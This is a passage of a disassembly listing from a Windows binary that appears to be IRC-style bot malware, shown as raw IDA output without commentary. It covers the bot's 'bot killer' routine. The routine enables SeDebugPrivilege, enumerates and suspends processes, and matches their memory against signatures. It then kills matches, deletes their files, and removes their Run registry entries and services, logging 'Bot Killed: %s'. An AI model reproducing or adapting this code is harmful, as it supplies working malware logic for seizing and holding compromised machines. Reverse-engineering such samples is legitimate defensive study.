[ebp+var_20], eax lea eax, [ebp+var_1C] push eax push 24h lea eax, [ebp+var_3C] push eax push 0 push ebx mov esi, ds:dword_41D028 call esi ; QueryServiceStatusEx test eax, eax jnz short loc_41979B loc_419790: ; CODE XREF: sub_419760+61j ; sub_419760+8Aj ... call ds:dword_41D0F0 ; RtlGetLastWin32Error jmp loc_41982F ; --------------------------------------------------------------------------- loc_41979B: ; CODE XREF: sub_419760+2Ej cmp [ebp+var_38], 1 jz loc_41982D jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197A7: ; CODE XREF: sub_419760+79j push [ebp+var_24] call ds:dword_41D0FC ; Sleep lea eax, [ebp+var_1C] push eax push 24h lea eax, [ebp+var_3C] push eax push 0 push ebx call esi ; QueryServiceStatusEx test eax, eax jz short loc_419790 cmp [ebp+var_38], 1 jz short loc_41982D call edi ; GetTickCount sub eax, [ebp+var_20] cmp eax, 12Ch ja short loc_4197EE loc_4197D5: ; CODE XREF: sub_419760+45j cmp [ebp+var_38], 3 jz short loc_4197A7 lea eax, [ebp+var_3C] push eax push 1 push ebx call ds:dword_41D01C ; ControlService test eax, eax jz short loc_419790 jmp short loc_419827 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_419760+73j ; sub_419760+C5j mov eax, 5B4h jmp short loc_41982F ; --------------------------------------------------------------------------- loc_4197F5: ; CODE XREF: sub_419760+CBj push [ebp+var_24] call ds:dword_41D0FC ; Sleep lea eax, [ebp+var_1C] push eax push 24h lea eax, [ebp+var_3C] push eax push 0 push ebx call esi ; QueryServiceStatusEx test eax, eax jz loc_419790 cmp [ebp+var_38], 1 jz short loc_41982D call edi ; GetTickCount sub eax, [ebp+var_20] cmp eax, 12Ch ja short loc_4197EE loc_419827: ; CODE XREF: sub_419760+8Cj cmp [ebp+var_38], 1 jnz short loc_4197F5 loc_41982D: ; CODE XREF: sub_419760+3Fj ; sub_419760+67j ... xor eax, eax loc_41982F: ; CODE XREF: sub_419760+36j ; sub_419760+93j call __SEH_epilog4 retn sub_419760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419835 proc near ; CODE XREF: sub_419EA0+2C7p ; sub_419EA0+36Ep var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi push 10h pop esi lea eax, [ebp+var_10] push eax push [ebp+arg_4] xor edi, edi push edi mov [ebp+var_8], esi call ds:dword_41D034 ; LookupPrivilegeValueA test eax, eax jnz short loc_41985C loc_419858: ; CODE XREF: sub_419835+5Fj xor al, al jmp short loc_4198CD ; --------------------------------------------------------------------------- loc_41985C: ; CODE XREF: sub_419835+21j mov eax, [ebp+var_10] mov [ebp+var_2C], eax mov eax, [ebp+var_C] mov [ebp+var_28], eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_20] push eax push esi mov esi, ds:dword_41D014 lea eax, [ebp+var_30] push eax push edi push [ebp+arg_0] xor ebx, ebx inc ebx mov [ebp+var_30], ebx mov [ebp+var_24], edi call esi ; AdjustTokenPrivileges mov edi, ds:dword_41D0F0 call edi ; RtlGetLastWin32Error test eax, eax jnz short loc_419858 mov eax, [ebp+var_10] mov [ebp+var_1C], eax mov eax, [ebp+var_C] mov [ebp+var_18], eax xor eax, eax cmp [ebp+arg_8], eax mov [ebp+var_20], ebx jz short loc_4198B2 or [ebp+var_14], 2 jmp short loc_4198B6 ; --------------------------------------------------------------------------- loc_4198B2: ; CODE XREF: sub_419835+75j and [ebp+var_14], 0FFFFFFFDh loc_4198B6: ; CODE XREF: sub_419835+7Bj push eax push eax push [ebp+var_8] lea ecx, [ebp+var_20] push ecx push eax push [ebp+arg_0] call esi ; AdjustTokenPrivileges call edi ; RtlGetLastWin32Error neg eax sbb al, al inc al loc_4198CD: ; CODE XREF: sub_419835+25j pop edi pop esi pop ebx leave retn sub_419835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4198D2(int,int,int,void *Memory) sub_4198D2 proc near ; CODE XREF: sub_419EA0+400p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Memory = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi lea eax, [ebp+var_8] push eax push [ebp+arg_8] xor ebx, ebx push [ebp+Memory] mov [ebp+var_8], ebx push [ebp+arg_4] push [ebp+arg_0] call dword_426570 test eax, eax jnz short loc_419909 loc_4198F9: ; CODE XREF: sub_4198D2+70j ; sub_4198D2+74j push [ebp+Memory] ; Memory call j_j__free pop ecx pop edi pop esi mov al, bl pop ebx leave retn ; --------------------------------------------------------------------------- loc_419909: ; CODE XREF: sub_4198D2+25j xor eax, eax loc_41990B: ; CODE XREF: sub_4198D2+6Cj and [ebp+var_4], 0 mov edx, offset dword_4255E8 loc_419914: ; CODE XREF: sub_4198D2+66j mov esi, [ebp+Memory] mov ecx, [edx+80h] add esi, eax mov edi, edx xor ebx, ebx repe cmpsb jz short loc_419944 mov ecx, 84h add [ebp+var_4], ecx add edx, ecx cmp [ebp+var_4], 318h jb short loc_419914 inc eax cmp eax, [ebp+var_8] jbe short loc_41990B xor bl, bl jmp short loc_4198F9 ; --------------------------------------------------------------------------- loc_419944: ; CODE XREF: sub_4198D2+53j mov bl, 1 jmp short loc_4198F9 sub_4198D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419948 proc near ; CODE XREF: sub_419EA0+483p var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch lea eax, [ebp+var_1C] push eax push [ebp+arg_4] mov [ebp+var_1C], 1Ch call dword_42656C test eax, eax jnz short loc_41996A xor al, al leave retn ; --------------------------------------------------------------------------- loc_41996A: ; CODE XREF: sub_419948+1Cj ; sub_419948+55j mov eax, [ebp+var_10] cmp eax, [ebp+arg_0] jnz short loc_41998E push [ebp+var_14] push 0 push 1F03FFh call dword_426580 push eax call ds:dword_41D0D4 ; ResumeThread cmp eax, 0FFFFFFFFh jz short loc_41999F loc_41998E: ; CODE XREF: sub_419948+28j lea eax, [ebp+var_1C] push eax push [ebp+arg_4] call dword_426590 test eax, eax jnz short loc_41996A loc_41999F: ; CODE XREF: sub_419948+44j push [ebp+arg_4] call ds:dword_41D0DC ; CloseHandle mov al, 1 leave retn sub_419948 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199AC proc near ; CODE XREF: sub_419EA0+3BDp var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch lea eax, [ebp+var_1C] push eax push [ebp+arg_4] mov [ebp+var_1C], 1Ch call dword_42656C test eax, eax jnz short loc_4199CE xor al, al leave retn ; --------------------------------------------------------------------------- loc_4199CE: ; CODE XREF: sub_4199AC+1Cj ; sub_4199AC+55j mov eax, [ebp+var_10] cmp eax, [ebp+arg_0] jnz short loc_4199F2 push [ebp+var_14] push 0 push 1F03FFh call dword_426580 push eax call ds:dword_41D0D8 ; SuspendThread cmp eax, 0FFFFFFFFh jz short loc_419A03 loc_4199F2: ; CODE XREF: sub_4199AC+28j lea eax, [ebp+var_1C] push eax push [ebp+arg_4] call dword_426590 test eax, eax jnz short loc_4199CE loc_419A03: ; CODE XREF: sub_4199AC+44j push [ebp+arg_4] call ds:dword_41D0DC ; CloseHandle mov al, 1 leave retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A10 proc near ; CODE XREF: sub_419EA0+3D4p var_228 = dword ptr -228h var_214 = dword ptr -214h var_210 = dword ptr -210h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 228h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push ebx push edi push [ebp+arg_0] xor ebx, ebx push 8 call dword_426574 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_419A49 loc_419A39: ; CODE XREF: sub_419A10+53j xor al, al loc_419A3B: ; CODE XREF: sub_419A10+8Dj mov ecx, [ebp+var_4] pop edi xor ecx, ebp pop ebx call sub_402710 leave retn ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_419A10+27j lea eax, [ebp+var_228] push eax push edi mov [ebp+var_228], 224h call dword_426568 test eax, eax jz short loc_419A39 loc_419A65: ; CODE XREF: sub_419A10+6Bj inc ebx cmp ebx, 1 jz short loc_419A81 lea eax, [ebp+var_228] push eax push edi call dword_426584 test eax, eax jnz short loc_419A65 xor bl, bl jmp short loc_419A94 ; --------------------------------------------------------------------------- loc_419A81: ; CODE XREF: sub_419A10+59j mov eax, [ebp+var_214] mov [esi], eax mov eax, [ebp+var_210] mov [esi+4], eax mov bl, 1 loc_419A94: ; CODE XREF: sub_419A10+6Fj push edi call ds:dword_41D0DC ; CloseHandle mov al, bl jmp short loc_419A3B sub_419A10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1B4h sub_419A9F proc near ; CODE XREF: sub_419E55+2Dp var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-1B4h] sub esp, 234h mov eax, dword_423064 xor eax, ebp mov [ebp+1B4h+var_4], eax mov eax, [ebp+1B4h+arg_0] push ebx push esi push edi xor ebx, ebx push 0FFh ; size_t mov [ebp+1B4h+var_224], eax lea eax, [ebp+1B4h+var_103] push ebx ; int push eax ; void * mov [ebp+1B4h+var_234], offset aSoftwareMicr_4 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov [ebp+1B4h+var_230], offset aSoftwareMicr_5 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov [ebp+1B4h+var_22C], offset aSoftwareMicr_6 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov [ebp+1B4h+var_228], offset aSoftwareMicr_7 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov [ebp+1B4h+var_104], bl call _memset mov esi, 100h add esp, 0Ch mov [ebp+1B4h+var_21C], esi mov [ebp+1B4h+var_214], esi mov [ebp+1B4h+var_20C], offset dword_4255DC mov [ebp+1B4h+var_220], 2 loc_419B18: ; CODE XREF: sub_419A9F+160j mov [ebp+1B4h+var_208], ebx loc_419B1B: ; CODE XREF: sub_419A9F+153j mov eax, [ebp+1B4h+var_208] mov eax, [ebp+eax*4+1B4h+var_234] lea ecx, [ebp+1B4h+var_210] push ecx push 1 push ebx push eax mov eax, [ebp+1B4h+var_20C] push dword ptr [eax] call ds:dword_41D02C ; RegOpenKeyExA test eax, eax jnz loc_419BE2 lea eax, [ebp+1B4h+var_214] push eax lea eax, [ebp+1B4h+var_204] push eax push ebx push ebx lea eax, [ebp+1B4h+var_21C] push eax lea eax, [ebp+1B4h+var_104] push eax mov [ebp+1B4h+var_218], ebx push ebx jmp short loc_419BCE ; --------------------------------------------------------------------------- loc_419B58: ; CODE XREF: sub_419A9F+13Dj xor edi, edi loc_419B5A: ; CODE XREF: sub_419A9F+10Cj mov eax, [ebp+1B4h+var_224] lea edx, [eax+1] loc_419B60: ; CODE XREF: sub_419A9F+C6j mov cl, [eax] inc eax cmp cl, bl jnz short loc_419B60 sub eax, edx push eax ; size_t push [ebp+1B4h+var_224] ; char * lea eax, [ebp+edi+1B4h+var_204] push eax ; char * call __strnicmp add esp, 0Ch test eax, eax jnz short loc_419B99 lea eax, [ebp+1B4h+var_104] push eax mov eax, [ebp+1B4h+var_208] push [ebp+eax*4+1B4h+var_234] mov eax, [ebp+1B4h+var_20C] push dword ptr [eax] call sub_416F32 add esp, 0Ch loc_419B99: ; CODE XREF: sub_419A9F+DDj lea eax, [ebp+1B4h+var_204] inc edi lea edx, [eax+1] loc_419BA0: ; CODE XREF: sub_419A9F+106j mov cl, [eax] inc eax cmp cl, bl jnz short loc_419BA0 sub eax, edx cmp edi, eax jbe short loc_419B5A inc [ebp+1B4h+var_218] lea eax, [ebp+1B4h+var_214] push eax lea eax, [ebp+1B4h+var_204] push eax push ebx push ebx lea eax, [ebp+1B4h+var_21C] push eax lea eax, [ebp+1B4h+var_104] push eax push [ebp+1B4h+var_218] mov [ebp+1B4h+var_21C], esi mov [ebp+1B4h+var_214], esi loc_419BCE: ; CODE XREF: sub_419A9F+B7j push [ebp+1B4h+var_210] call ds:dword_41D020 ; RegEnumValueA cmp eax, 103h jnz loc_419B58 loc_419BE2: ; CODE XREF: sub_419A9F+98j push [ebp+1B4h+var_210] call ds:dword_41D010 ; RegCloseKey inc [ebp+1B4h+var_208] cmp [ebp+1B4h+var_208], 4 jb loc_419B1B add [ebp+1B4h+var_20C], 4 dec [ebp+1B4h+var_220] jnz loc_419B18 mov ecx, [ebp+1B4h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 add ebp, 1B4h leave retn sub_419A9F endp ; =============== S U B R O U T I N E ======================================= sub_419C1D proc near ; CODE XREF: sub_419C6D+189p arg_0 = dword ptr 4 push ebx push esi push edi push 0F003Fh push 0 push 0 call ds:dword_41D024 ; OpenSCManagerA push 0F01FFh push [esp+10h+arg_0] mov esi, eax push esi call ds:dword_41D044 ; OpenServiceA mov edi, eax mov ebx, edi call sub_419760 push edi call ds:dword_41D03C ; DeleteService test eax, eax jz short loc_419C69 mov bl, 1 loc_419C57: ; CODE XREF: sub_419C1D+4Ej push esi mov esi, ds:dword_41D040 call esi ; CloseServiceHandle push edi call esi ; CloseServiceHandle pop edi pop esi mov al, bl pop ebx retn ; --------------------------------------------------------------------------- loc_419C69: ; CODE XREF: sub_419C1D+36j xor bl, bl jmp short loc_419C57 sub_419C1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2C0h sub_419C6D proc near ; CODE XREF: sub_419E55+35p ; sub_419E55:loc_419E92p var_340 = dword ptr -340h var_33C = dword ptr -33Ch var_338 = dword ptr -338h var_334 = byte ptr -334h Dest = byte ptr -234h var_233 = byte ptr -233h Str1 = byte ptr -134h var_133 = byte ptr -133h var_34 = byte ptr -34h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-2C0h] sub esp, 340h mov eax, dword_423064 xor eax, ebp mov [ebp+2C0h+var_4], eax push esi mov eax, [ebp+2C0h+arg_0] push edi push 0Bh pop ecx mov esi, offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\Eventlog\\"... lea edi, [ebp+2C0h+var_34] rep movsd movsw mov esi, 0FFh push esi ; size_t mov [ebp+2C0h+var_340], eax xor edi, edi lea eax, [ebp+2C0h+var_233] push edi ; int push eax ; void * mov [ebp+2C0h+Dest], 0 call _memset push esi ; size_t lea eax, [ebp+2C0h+var_133] push edi ; int push eax ; void * mov [ebp+2C0h+Str1], 0 call _memset add esp, 18h lea eax, [ebp+2C0h+var_33C] push eax push 0F003Fh push edi lea eax, [ebp+2C0h+var_34] push eax push 80000002h call ds:dword_41D02C ; RegOpenKeyExA test eax, eax jnz loc_419E35 push ebx mov ebx, 100h push ebx lea eax, [ebp+2C0h+Str1] push eax push edi push [ebp+2C0h+var_33C] mov [ebp+2C0h+var_338], edi call ds:dword_41D018 ; RegEnumKeyA cmp eax, 103h jz loc_419E34 jmp short loc_419D2A ; --------------------------------------------------------------------------- loc_419D25: ; CODE XREF: sub_419C6D+1C1j mov esi, 0FFh loc_419D2A: ; CODE XREF: sub_419C6D+B6j push ebx ; size_t lea eax, [ebp+2C0h+var_334] push edi ; int push eax ; void * call _memset push ebx ; size_t lea eax, [ebp+2C0h+Dest] push edi ; int push eax ; void * call _memset lea eax, [ebp+2C0h+Str1] push eax lea eax, [ebp+2C0h+var_34] push eax push offset aSS_10 ; "%s\\%s" lea eax, [ebp+2C0h+Dest] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+2C0h+Dest] add esp, 2Ch lea esi, [eax+1] loc_419D6F: ; CODE XREF: sub_419C6D+107j mov cl, [eax] inc eax test cl, cl jnz short loc_419D6F sub eax, esi mov [ebp+eax+2C0h+Dest], cl lea eax, [ebp+2C0h+Str1] push offset aLdm ; "LDM" push eax ; Str1 call __stricmp test eax, eax pop ecx pop ecx jz short loc_419E12 push 7 mov edi, offset aNetdde ; "NetDDE" lea esi, [ebp+2C0h+Str1] pop ecx xor eax, eax repe cmpsb jz short loc_419E10 push ebx ; size_t lea eax, [ebp+2C0h+var_334] push eax ; void * push offset aEventmessagefi ; "EventMessageFile" lea eax, [ebp+2C0h+Dest] push eax ; int push 1 ; char call sub_416ECD add esp, 14h test al, al jz short loc_419E10 xor esi, esi loc_419DCB: ; CODE XREF: sub_419C6D+1A1j mov eax, [ebp+2C0h+var_340] lea edx, [eax+1] loc_419DD1: ; CODE XREF: sub_419C6D+169j mov cl, [eax] inc eax test cl, cl jnz short loc_419DD1 sub eax, edx push eax ; size_t push [ebp+2C0h+var_340] ; char * lea eax, [ebp+esi+2C0h+var_334] push eax ; char * call __strnicmp add esp, 0Ch test eax, eax jnz short loc_419DFC lea eax, [ebp+2C0h+Str1] push eax call sub_419C1D pop ecx loc_419DFC: ; CODE XREF: sub_419C6D+180j lea eax, [ebp+2C0h+var_334] inc esi lea edx, [eax+1] loc_419E03: ; CODE XREF: sub_419C6D+19Bj mov cl, [eax] inc eax test cl, cl jnz short loc_419E03 sub eax, edx cmp esi, eax jbe short loc_419DCB loc_419E10: ; CODE XREF: sub_419C6D+13Bj ; sub_419C6D+15Aj xor edi, edi loc_419E12: ; CODE XREF: sub_419C6D+127j inc [ebp+2C0h+var_338] push ebx lea eax, [ebp+2C0h+Str1] push eax push [ebp+2C0h+var_338] push [ebp+2C0h+var_33C] call ds:dword_41D018 ; RegEnumKeyA cmp eax, 103h jnz loc_419D25 loc_419E34: ; CODE XREF: sub_419C6D+B0j pop ebx loc_419E35: ; CODE XREF: sub_419C6D+8Aj push [ebp+2C0h+var_33C] call ds:dword_41D010 ; RegCloseKey mov ecx, [ebp+2C0h+var_4] pop edi xor ecx, ebp pop esi call sub_402710 add ebp, 2C0h leave retn sub_419C6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E55 proc near ; CODE XREF: sub_419EA0+42Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push [ebp+arg_0] call ds:dword_41D0F8 ; TerminateProcess test eax, eax jz short loc_419E9C push 7D0h call ds:dword_41D0FC ; Sleep push [ebp+arg_4] call ds:dword_41D0D0 ; DeleteFileA test eax, eax push [ebp+arg_8] jz short loc_419E92 call sub_419A9F push [ebp+arg_8] call sub_419C6D pop ecx jmp short loc_419E97 ; --------------------------------------------------------------------------- loc_419E92: ; CODE XREF: sub_419E55+2Bj call sub_419C6D loc_419E97: ; CODE XREF: sub_419E55+3Bj pop ecx mov al, 1 pop ebp retn ; --------------------------------------------------------------------------- loc_419E9C: ; CODE XREF: sub_419E55+10j xor al, al pop ebp retn sub_419E55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419EA0 proc near ; DATA XREF: .text:0041BF57o var_569 = byte ptr -569h var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = dword ptr -55Ch var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_540 = dword ptr -540h var_524 = byte ptr -524h Args = byte ptr -420h var_318 = byte ptr -318h var_317 = byte ptr -317h Dest = byte ptr -210h var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 56Ch mov eax, dword_423064 xor eax, esp mov [esp+56Ch+var_4], eax push ebx push esi push edi xor ebx, ebx push 103h ; size_t lea eax, [esp+57Ch+var_317] push ebx ; int push eax ; void * mov [esp+584h+var_318], bl call _memset add esp, 0Ch mov [esp+578h+var_558], offset aWinlogon_exe ; "winlogon.exe" mov [esp+578h+var_554], offset aSvchost_exe ; "svchost.exe" mov [esp+578h+var_550], offset aServices_exe ; "services.exe" call sub_402AE8 ; GetCurrentProcessId mov edi, ds:dword_41D0E4 push offset aOpenthread ; "OpenThread" push offset aKernel32_dll_1 ; "kernel32.dll" mov [esp+580h+var_54C], eax call edi ; GetModuleHandleA mov esi, ds:dword_41D0EC push eax call esi ; GetProcAddress push offset aOpenprocess ; "OpenProcess" push offset aKernel32_dll_2 ; "kernel32.dll" mov dword_426580, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push offset aKernel32_dll_3 ; "kernel32.dll" mov dword_42658C, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push offset aKernel32_dll_4 ; "kernel32.dll" mov dword_426574, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push offset aKernel32_dll_5 ; "kernel32.dll" mov dword_426578, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push offset aKernel32_dll_6 ; "kernel32.dll" mov dword_42657C, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aModule32next ; "Module32Next" push offset aKernel32_dll_7 ; "kernel32.dll" mov dword_426568, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aThread32first ; "Thread32First" push offset aKernel32_dll_8 ; "kernel32.dll" mov dword_426584, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aThread32next ; "Thread32Next" push offset aKernel32_dll_9 ; "kernel32.dll" mov dword_42656C, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aReadprocessmem ; "ReadProcessMemory" push offset aKernel32_dl_10 ; "kernel32.dll" mov dword_426590, eax call edi ; GetModuleHandleA push eax call esi ; GetProcAddress push offset aGetmodulefilen ; "GetModuleFileNameExA" push offset aPsapi_dll ; "psapi.dll" mov dword_426570, eax call ds:dword_41D0E8 ; LoadLibraryA push eax call esi ; GetProcAddress cmp dword_426580, ebx mov dword_426588, eax jz loc_41A36B cmp dword_42658C, ebx jz loc_41A36B cmp dword_426574, ebx jz loc_41A36B cmp dword_426578, ebx jz loc_41A36B cmp dword_42657C, ebx jz loc_41A36B cmp dword_426568, ebx jz loc_41A36B cmp dword_426584, ebx jz loc_41A36B cmp dword_42656C, ebx jz loc_41A36B cmp dword_426590, ebx jz loc_41A36B cmp dword_426570, ebx jz loc_41A36B cmp eax, ebx jz loc_41A36B mov edi, 104h push edi lea eax, [esp+57Ch+var_318] push eax call ds:dword_41D0F4 ; GetSystemDirectoryA lea eax, [esp+578h+var_558] xor esi, esi mov [esp+578h+var_568], eax loc_41A087: ; CODE XREF: sub_419EA0+238j mov ecx, [esp+578h+var_568] push dword ptr [ecx] lea ecx, [esp+57Ch+var_318] push ecx push offset aSS_11 ; "%s\\%s" lea eax, [esp+esi+584h+Dest] push 103h ; Count push eax ; Dest call __snprintf lea eax, [esp+esi+58Ch+Dest] add esp, 14h lea ecx, [eax+1] loc_41A0B9: ; CODE XREF: sub_419EA0+21Ej mov dl, [eax] inc eax cmp dl, bl jnz short loc_41A0B9 add [esp+578h+var_568], 4 sub eax, ecx add eax, esi add esi, edi cmp esi, 30Ch mov [esp+eax+578h+Dest], bl jb short loc_41A087 loc_41A0DA: ; CODE XREF: sub_419EA0+4C6j push ebx push 0Fh mov [esp+580h+var_548], 128h call dword_426574 lea ecx, [esp+578h+var_548] push ecx push eax mov [esp+580h+var_55C], eax call dword_426578 test eax, eax jz loc_41A35B jmp loc_41A344 ; --------------------------------------------------------------------------- loc_41A108: ; CODE XREF: sub_419EA0+4B5j mov edi, ds:dword_41D104 lea eax, [esp+578h+var_564] push eax push ebx push 28h mov [esp+584h+var_569], 1 call edi ; GetCurrentThread mov esi, ds:dword_41D038 push eax call esi ; OpenThreadToken test eax, eax jnz short loc_41A15C call ds:dword_41D0F0 ; RtlGetLastWin32Error cmp eax, 3F0h jnz short loc_41A158 push 2 call ds:dword_41D030 ; ImpersonateSelf test eax, eax jnz short loc_41A147 mov [esp+578h+var_569], bl loc_41A147: ; CODE XREF: sub_419EA0+2A1j lea eax, [esp+578h+var_564] push eax push ebx push 28h call edi ; GetCurrentThread push eax call esi ; OpenThreadToken test eax, eax jnz short loc_41A15C loc_41A158: ; CODE XREF: sub_419EA0+295j mov [esp+578h+var_569], bl loc_41A15C: ; CODE XREF: sub_419EA0+288j ; sub_419EA0+2B6j push 1 push offset aSedebugprivile ; "SeDebugPrivilege" push [esp+580h+var_564] call sub_419835 add esp, 0Ch test al, al jnz short loc_41A181 push [esp+578h+var_564] call ds:dword_41D0DC ; CloseHandle mov [esp+578h+var_569], bl loc_41A181: ; CODE XREF: sub_419EA0+2D1j push [esp+578h+var_540] push ebx push 1F0FFFh call dword_42658C cmp eax, ebx mov [esp+578h+var_568], eax jnz short loc_41A19D mov [esp+578h+var_569], bl loc_41A19D: ; CODE XREF: sub_419EA0+2F7j mov esi, 104h push esi ; size_t lea eax, [esp+57Ch+Args] push ebx ; int push eax ; void * call _memset add esp, 0Ch push esi lea eax, [esp+57Ch+Args] push eax push ebx push [esp+584h+var_568] call dword_426588 mov [esp+578h+var_560], ebx lea edi, [esp+578h+Dest] loc_41A1D3: ; CODE XREF: sub_419EA0+352j lea eax, [esp+578h+Args] push eax ; Str2 push edi ; Str1 call __stricmp test eax, eax pop ecx pop ecx jz short loc_41A1F6 inc [esp+578h+var_560] add edi, esi cmp [esp+578h+var_560], 3 jb short loc_41A1D3 jmp short loc_41A1FA ; --------------------------------------------------------------------------- loc_41A1F6: ; CODE XREF: sub_419EA0+345j mov [esp+578h+var_569], bl loc_41A1FA: ; CODE XREF: sub_419EA0+354j cmp [esp+578h+var_569], bl jz loc_41A32A push ebx push offset aSedebugprivi_0 ; "SeDebugPrivilege" push [esp+580h+var_564] call sub_419835 xor eax, eax lea edi, [esp+584h+var_558] stosd stosd mov eax, [esp+584h+var_54C] add esp, 0Ch cmp [esp+578h+var_540], eax jz loc_41A32A lea eax, [esp+578h+var_524] push offset aSystem ; "System" push eax ; Str1 call __stricmp test eax, eax pop ecx pop ecx jz loc_41A32A mov esi, [esp+578h+var_540] push ebx push 4 call dword_426574 cmp eax, 0FFFFFFFFh jz loc_41A32A push eax push esi call sub_4199AC cmp al, bl pop ecx pop ecx jz loc_41A32A push [esp+578h+var_540] lea esi, [esp+57Ch+var_558] call sub_419A10 test al, al pop ecx jz loc_41A30F push [esp+578h+var_554] ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) cmp eax, ebx pop ecx jnz short loc_41A293 push ebx jmp short loc_41A309 ; --------------------------------------------------------------------------- loc_41A293: ; CODE XREF: sub_419EA0+3EEj push eax ; Memory push [esp+57Ch+var_554] ; int push [esp+580h+var_558] ; int push [esp+584h+var_568] ; int call sub_4198D2 add esp, 10h cmp al, bl jz short loc_41A30F push 100h ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) pop ecx mov esi, eax lea eax, [esp+578h+var_524] push eax lea eax, [esp+57Ch+Args] push eax push [esp+580h+var_568] call sub_419E55 add esp, 0Ch test al, al jz short loc_41A308 push esi ; void * call __msize pop ecx push eax mov ebx, offset dword_424ED0 call sub_4196D1 pop ecx lea eax, [esp+578h+Args] push eax ; Args push offset aBotKilledS ; "Bot Killed: %s" push esi ; int push 0 ; char push offset dword_4269BC ; int call sub_417361 add esp, 14h xor ebx, ebx loc_41A308: ; CODE XREF: sub_419EA0+434j push esi ; Memory loc_41A309: ; CODE XREF: sub_419EA0+3F1j call j_j__free pop ecx loc_41A30F: ; CODE XREF: sub_419EA0+3DCj ; sub_419EA0+40Aj mov esi, [esp+578h+var_540] push ebx push 4 call dword_426574 cmp eax, 0FFFFFFFFh jz short loc_41A32A push eax push esi call sub_419948 pop ecx pop ecx loc_41A32A: ; CODE XREF: sub_419EA0+35Ej ; sub_419EA0+386j ... push [esp+578h+var_564] mov esi, ds:dword_41D0DC call esi ; CloseHandle push [esp+578h+var_568] call esi ; CloseHandle push 1 call ds:dword_41D0FC ; Sleep loc_41A344: ; CODE XREF: sub_419EA0+263j lea eax, [esp+578h+var_548] push eax push [esp+57Ch+var_55C] call dword_42657C test eax, eax jnz loc_41A108 loc_41A35B: ; CODE XREF: sub_419EA0+25Dj push 927C0h call ds:dword_41D0FC ; Sleep jmp loc_41A0DA ; --------------------------------------------------------------------------- loc_41A36B: ; CODE XREF: sub_419EA0+14Fj ; sub_419EA0+15Bj ... call ds:dword_41D0E0 ; GetCurrentThreadId push eax call sub_414042 pop ecx mov ecx, [esp+578h+var_4] pop edi pop esi pop ebx xor ecx, esp xor eax, eax call sub_402710 mov esp, ebp pop ebp retn 4 sub_419EA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2C4h sub_41A391 proc near ; CODE 